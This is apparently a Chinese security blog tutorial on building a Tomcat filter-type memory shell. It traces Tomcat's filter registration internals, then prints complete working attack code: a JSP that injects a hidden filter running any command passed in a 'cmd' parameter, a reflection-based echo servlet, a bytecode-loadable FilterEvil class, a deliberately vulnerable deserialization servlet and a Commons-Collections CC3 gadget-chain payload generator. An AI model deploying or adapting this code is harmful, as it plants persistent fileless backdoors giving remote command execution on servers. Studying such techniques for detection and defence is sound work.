tomcat内存马第二式 filter型内存马
回顾
tomcat容器经过的三个大件:
1
| listener->filter->servlet
|
讲一下第二个,filter
写一个过滤器
和listener一样,filter还是得自己写然后在web.xml里添加的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| package com.Err0r233;
import javax.servlet.*; import java.io.IOException;
public class TestFilter implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException{ System.out.println("filter 初始化..."); }
@Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { System.out.println("doFilter过滤"); chain.doFilter(request, response); }
@Override public void destroy(){ System.out.println("filter 销毁..."); } }
|
web.xml:
1 2 3 4 5 6 7 8
| <filter> <filter-name>TestFilter</filter-name> <filter-class>com.Err0r233.TestFilter</filter-class> </filter> <filter-mapping> <filter-name>TestFilter</filter-name> <url-pattern>/*</url-pattern> </filter-mapping>
|
测试结果:
有了listener型内存马的经验,我们不难想到只需要找一个方式能够添加新的自定义filter即可
找添加自定义filter的方法
在init方法打断点调试,为什么呢?其实是因为init是初始化的时候,不难想到初始化的时候很有可能会添加filter。
观察调用栈
看到了熟悉的StandardContext
,跟进这个
首先对filterDefs
进行了foreach获取键值对,点开来看可以得出filterDefs
是一个hashMap,key对应的是filter的名字,value对应的是装着filter对象的hashMap。展开value,观察我们要对filter对象的属性,便于后续操作:
先记着这个。
然后找filterDefs如何被添加的,搜这个变量名一下就找到了:
接着往下看,获取到name之后会这个entry的value,也就是装有filter对象的hashMap进行ApplicationFilterConfig()
跟进去可以看到有两条路,取决于filterDef.getFilter()
是否为空,如果为空就调用getFilter()
初始化,否则根据传入的filterDef获取filter并初始化
这个Filter还是有getter和setter方法的,那就简单了
可以构造一个FilterDef
对象,并且将其set成我们的恶意filter即可
注意filter的属性,上面的伏笔回收,根据上面截的图我们可以得知除了设置setFilter
本身,还要设置以下几个东西
可以写出一小段伪代码了,作用是添加一个自定义filter:
1 2 3 4 5
| FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterClass(filter.getClass().getName()); filterDef.setFilterName(name); standardContext.addFilterDef(filterDef);
|
调用filter
前文说过,要调用filter的话,核心函数在其doFilter上,所以我们仍需要对doFilter进行调试,通过对doFilter打断点并回到上一步,观察:
从上面的图可以看出filter
是从filterConfig
中获取的,filterConfig
可以通过StandardConfig
获得
往前读取调用栈,发现了filterChain.doFilter
,寻找filterchain在哪获得的:
可以看到在ApplicationFilterFactory.createFilterChain(request, wrapper, servlet)
跟入发现FilterMaps,观察属性:
继续看下文,注意到获取到了一个dispatcher,如果没有匹配到dispatcher的话会被直接continue掉,所以要设置dispatcher
实现内存马
整理下,filter型的内存马需要几个流程:
- filterDefs添加filter,是
filterName
和filter对象
的映射
- filterMaps添加filterchain在dofilter内,观察变量可以得到它其实是
filterName
和url路径
的映射
- filterConfigs:存放filterDefs,是ApplicationFilterConfig对象
- 设置Dispatcher
马如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78
| <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.util.Map" %> <%@ page import="java.io.IOException" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import="java.lang.reflect.Constructor" %> <%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import="org.apache.catalina.Context" %> <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<% final String name = "Err0r233"; ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(name) == null){ Filter filter = new Filter() { @Override public void init(FilterConfig filterConfig) throws ServletException {
}
@Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) servletRequest; if (req.getParameter("cmd") != null){ byte[] bytes = new byte[1024]; Process process = new ProcessBuilder("cmd","/c",req.getParameter("cmd")).start(); int len = process.getInputStream().read(bytes); servletResponse.getWriter().write(new String(bytes,0,len)); process.destroy(); return; } filterChain.doFilter(servletRequest,servletResponse); }
@Override public void destroy() {
}
};
FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/*"); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name,filterConfig); out.print("Inject Success !"); } %>
|
doFilter这段就是核心功能,打rce
下面这段就是注册这三个对象的,并且将其放进filterConfigs添加了这个filter
还是同样的套路,访问test.jsp添加filter即可
提升:反序列化实现
参考天下大木头师傅的文章,因为要传jsp,导致文件还是会落地的,这和我们想法有些出入,内存马内存马,就应该不存在于文件内。
对于filter型内存马还是有一种形式能够存在于反序列化的payload里的
换而言之,我们能够将内存马以字节码的形式写进去加载,类似于spring的马了。
解决request & response
jsp中内置了request
和response
,能够让我们处理问题变得简单,而要写一个java class的话,首先就要解决request
和response
的问题
kingkk师傅找到了两个static final
变量
1 2
| private static final ThreadLocal<ServletRequest> lastServicedRequest; private static final ThreadLocal<ServletResponse> lastServicedResponse;
|
并且在internalDoFilter中有一段代码:
1 2 3 4
| if (ApplicationDispatcher.WRAP_SAME_OBJECT) { lastServicedRequest.set(request); lastServicedResponse.set(response); }
|
如果ApplicationDispatcher.WRAP_SAME_OBJECT
为true的时候,就能够将这两个对象设置成对应的request和response
寻找lastServicedRequest
和lastServicedResponse
,发现他们在静态代码块的时候进行了一次初始化:
1 2 3 4 5 6 7 8 9
| static { if (ApplicationDispatcher.WRAP_SAME_OBJECT) { lastServicedRequest = new ThreadLocal<>(); lastServicedResponse = new ThreadLocal<>(); } else { lastServicedRequest = null; lastServicedResponse = null; } }
|
注意static代码块会更优先执行,所以这一段会先把这两个request和Response根据WRAP_SAME_OBJECT
设置
WRAP_SAME_OBJECT
的默认值为false,所以他们初始化的时候是null
因此我们需要通过反射调用WRAP_SAME_OBJECT
为true,同时初始化request
和response
大致代码如下:
1 2 3
| WRAP_SAME_OBJECT_FIELD.setBoolean(applicationDispatcher, true); lastServicedRequestField.set(applicationFilterChain, new ThreadLocal()); lastServicedResponseField.set(applicationFilterChain, new ThreadLocal());
|
这样第二次访问的时候就能够将response从lastServicedResponse
取出来了
大致思路如下:
- 第一次访问利用反射修改参数,如上述代码块,将request和response存入到这个
lastServicedRequest
和lastServicedResponse
中
- 第二次访问将
req
和res
取出,将结果写入response
,达成回显
poc
由于是低版本,所以利用低版本修改final static修饰的变量即可:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73
| import org.apache.catalina.connector.Response; import org.apache.catalina.connector.ResponseFacade; import org.apache.catalina.core.ApplicationFilterChain;
import javax.servlet.ServletException; import javax.servlet.ServletRequest; import javax.servlet.ServletResponse; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.io.InputStream; import java.io.Writer; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.lang.reflect.Modifier; import java.util.Scanner;
@WebServlet("/echo") @SuppressWarnings("all") public class Echo extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { try { Class applicationDispatcher = Class.forName("org.apache.catalina.core.ApplicationDispatcher"); Field WRAP_SAME_OBJECT_FIELD = applicationDispatcher.getDeclaredField("WRAP_SAME_OBJECT"); WRAP_SAME_OBJECT_FIELD.setAccessible(true); Field f0 = Class.forName("java.lang.reflect.Field").getDeclaredField("modifiers"); f0.setAccessible(true); f0.setInt(WRAP_SAME_OBJECT_FIELD,WRAP_SAME_OBJECT_FIELD.getModifiers()& ~Modifier.FINAL);
Class applicationFilterChain = Class.forName("org.apache.catalina.core.ApplicationFilterChain"); Field lastServicedRequestField = applicationFilterChain.getDeclaredField("lastServicedRequest"); Field lastServicedResponseField = applicationFilterChain.getDeclaredField("lastServicedResponse"); lastServicedRequestField.setAccessible(true); lastServicedResponseField.setAccessible(true); f0.setInt(lastServicedRequestField,lastServicedRequestField.getModifiers()& ~Modifier.FINAL); f0.setInt(lastServicedResponseField,lastServicedResponseField.getModifiers()& ~Modifier.FINAL);
ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(applicationFilterChain); ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(applicationFilterChain);
String cmd = lastServicedRequest!=null ? lastServicedRequest.get().getParameter("cmd"):null;
if (!WRAP_SAME_OBJECT_FIELD.getBoolean(applicationDispatcher) || lastServicedRequest == null || lastServicedResponse == null){ WRAP_SAME_OBJECT_FIELD.setBoolean(applicationDispatcher,true); lastServicedRequestField.set(applicationFilterChain,new ThreadLocal()); lastServicedResponseField.set(applicationFilterChain,new ThreadLocal()); } else if (cmd!=null){ InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); StringBuilder sb = new StringBuilder(""); byte[] bytes = new byte[1024]; int line = 0; while ((line = inputStream.read(bytes))!=-1){ sb.append(new String(bytes,0,line)); } Writer writer = lastServicedResponse.get().getWriter(); writer.write(sb.toString()); writer.flush(); }
} catch (Exception e){ e.printStackTrace(); } }
@Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { super.doPost(req, resp); } }
|
这里讲一下为什么要有第一次和第二次
刚开始这个WRAP_SAME_OBJECT
设置为了false,所以lastServicedRequest和response
都是null,因此就读不到req和res这些
第一次访问/echo后,此时WRAP_SAME_OBJECT
为false。因为此时没有解析我们的java代码,然后由于Globals.IS_SECURITY_ENABLED
默认为false,此时进入了servlet.service()
,也就是自己的代码进行处理
此时反射启动,修改lastServiced
和WRAP_SAME_OBJECT
:
1 2 3 4
| if (!WRAP_SAME_OBJECT_FIELD.getBoolean(applicationDispatcher) || lastServicedRequest == null || lastServicedResponse == null){ WRAP_SAME_OBJECT_FIELD.setBoolean(applicationDispatcher,true); lastServicedRequestField.set(applicationFilterChain,new ThreadLocal()); lastServicedResponseField.set(applicationFilterChain,new ThreadLocal());
|
但是设置完毕之后回到原语句的finally中,将lastServiced
设置为了null,所以这才需要第二次访问
第二次访问后由于这个WRAP_SAME_OBJECT
被反射改成了true,此时就会触发上面的set方法,存入req和res,然后再进入this.servlet.service()
执行自己的代码。因为req和res都已经获得到了,并且cmd不是null:
所以执行命令并且将执行完的结果写入res返回
咋利用呢?直接随便一个加载字节码的payload都能打
比如cc3、cc11这种,cc11其实就是cc6换成加载字节码执行罢了
最终poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159
| import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import org.apache.catalina.Context; import org.apache.catalina.core.ApplicationContext; import org.apache.catalina.core.ApplicationContextFacade; import org.apache.catalina.core.ApplicationFilterConfig; import org.apache.catalina.core.StandardContext; import org.apache.tomcat.util.descriptor.web.FilterDef; import org.apache.tomcat.util.descriptor.web.FilterMap;
import javax.servlet.*; import javax.servlet.http.HttpServlet; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.InputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Modifier; import java.util.HashMap;
public class FilterEvil extends AbstractTranslet implements Filter { static { try { Class appDispatcherClass = Class.forName("org.apache.catalina.core.ApplicationDispatcher"); Field wrapField = appDispatcherClass.getDeclaredField("WRAP_SAME_OBJECT"); wrapField.setAccessible(true); Field modifiersField = Field.class.getDeclaredField("modifiers"); modifiersField.setAccessible(true); modifiersField.setInt(wrapField, wrapField.getModifiers() & ~Modifier.FINAL);
Class appFilterChainClass = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
Field lastServicedRequestField = appFilterChainClass.getDeclaredField("lastServicedRequest"); Field lastServicedResponseField = appFilterChainClass.getDeclaredField("lastServicedResponse"); lastServicedRequestField.setAccessible(true); lastServicedResponseField.setAccessible(true); modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL); modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);
ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(appFilterChainClass); ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(appFilterChainClass);
if (!wrapField.getBoolean(appDispatcherClass) || lastServicedRequest == null || lastServicedResponse == null) { wrapField.set(null, true); lastServicedRequestField.set(null, new ThreadLocal()); lastServicedResponseField.set(null, new ThreadLocal()); }else {
ServletRequest servletRequest = lastServicedRequest.get(); ServletResponse servletResponse = lastServicedResponse.get();
ServletContext servletContext = servletRequest.getServletContext(); ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) servletContext; Field applicationContextFacadeContext = applicationContextFacade.getClass().getDeclaredField("context"); applicationContextFacadeContext.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) applicationContextFacadeContext.get(applicationContextFacade); Field applicationContextContext = applicationContext.getClass().getDeclaredField("context"); applicationContextContext.setAccessible(true); StandardContext standardContext = (StandardContext) applicationContextContext.get(applicationContext);
Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs"); filterConfigs.setAccessible(true); HashMap hashMap = (HashMap) filterConfigs.get(standardContext); String filterName = "feng";
if (hashMap.get(filterName) == null) {
Filter filter = new FilterEvil();
FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName(filterName); filterDef.setFilterClass(filter.getClass().getName()); standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/*"); filterMap.setFilterName(filterName); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef); hashMap.put(filterName, applicationFilterConfig);
servletResponse.getWriter().println("inject successfully"); } }
} catch (NoSuchFieldException e) { e.printStackTrace(); } catch (ClassNotFoundException e) { e.printStackTrace(); } catch (IllegalAccessException e) { e.printStackTrace(); } catch (InvocationTargetException e) { e.printStackTrace(); } catch (NoSuchMethodException e) { e.printStackTrace(); } catch (InstantiationException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
} @Override public void init(FilterConfig filterConfig) throws ServletException {
}
@Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { if (request.getParameter("cmd") != null) { String[] cmds = {"cmd", "/c", request.getParameter("cmd")}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); byte[] bcache = new byte[1024]; int readSize = 0; try (ByteArrayOutputStream outputStream = new ByteArrayOutputStream()) { while ((readSize = in.read(bcache)) != -1) { outputStream.write(bcache, 0, readSize); } response.getWriter().println(outputStream.toString()); } }
}
@Override public void destroy() { } }
|
唯一要改的地方就是:
1 2 3
| if (hashMap.get(filterName) == null) {
Filter filter = new FilterEvil();
|
总之就是不改就出问题T_T
搞恶意字节码进行即可,明天补上图
漏洞环境测试
参考天下大木头师傅的漏洞环境搭建,模拟漏洞servlet:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| package com.Err0r233;
import javax.servlet.ServletException; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.*; import java.util.Base64;
@WebServlet("/cc") public class TestServlet extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { resp.setContentType("text/html"); PrintWriter out = resp.getWriter(); out.println("<h1>" + "Hello World" + "<h1>"); }
@Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
try { String str = req.getParameter("data"); ByteArrayInputStream bais = new ByteArrayInputStream(Base64.getDecoder().decode(str)); ObjectInputStream objectInputStream = new ObjectInputStream(bais); objectInputStream.readObject(); resp.getWriter().write("Successfully get your data deserialized!"); }catch (Exception e){ resp.getWriter().write("Something Error!"); }
} }
|
pom.xml添加commons-collections
1 2 3 4 5
| <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency>
|
Project Structure
添加cc依赖
web.xml添加servlet
开启服务后访问路由 测试效果:
先随便输入123测试能否正常接受post数据:
打cc3的payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96
| package com.Err0r233;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.nio.file.Files; import java.nio.file.Path; import java.nio.file.Paths; import java.util.Base64; import java.util.HashMap; import java.util.Map;
public class CC3 { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class clz = templates.getClass(); Field nameField = clz.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates, "aaa");
byte[] bytecode = Files.readAllBytes(Paths.get("D:\\developJava\\tomcatmemshell\\target\\classes\\com\\Err0r233\\FilterEvil.class")); byte[][] codes = {bytecode};
Field bytecodeField = clz.getDeclaredField("_bytecodes"); bytecodeField.setAccessible(true); bytecodeField.set(templates, codes);
Field tfactoryField = clz.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates, new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
Transformer[] transformers = { new ConstantTransformer(TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>(); Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor AIHConstructor = c.getDeclaredConstructor(Class.class, Map.class); AIHConstructor.setAccessible(true); InvocationHandler h = (InvocationHandler) AIHConstructor.newInstance(Override.class, lazyMap);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);
Object o = AIHConstructor.newInstance(Override.class, mapProxy);
Serialize(o);
} private static void Serialize(Object obj) throws IOException { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(baos); objectOutputStream.writeObject(obj); System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray()))); objectOutputStream.close(); } private static void UnSerialize() throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("ser.txt")); objectInputStream.readObject(); objectInputStream.close(); } }
|
因为上面分析了要访问两次,所以这里也必须执行两次,第二次才能够注入成功:
测试内存马:
参考文章: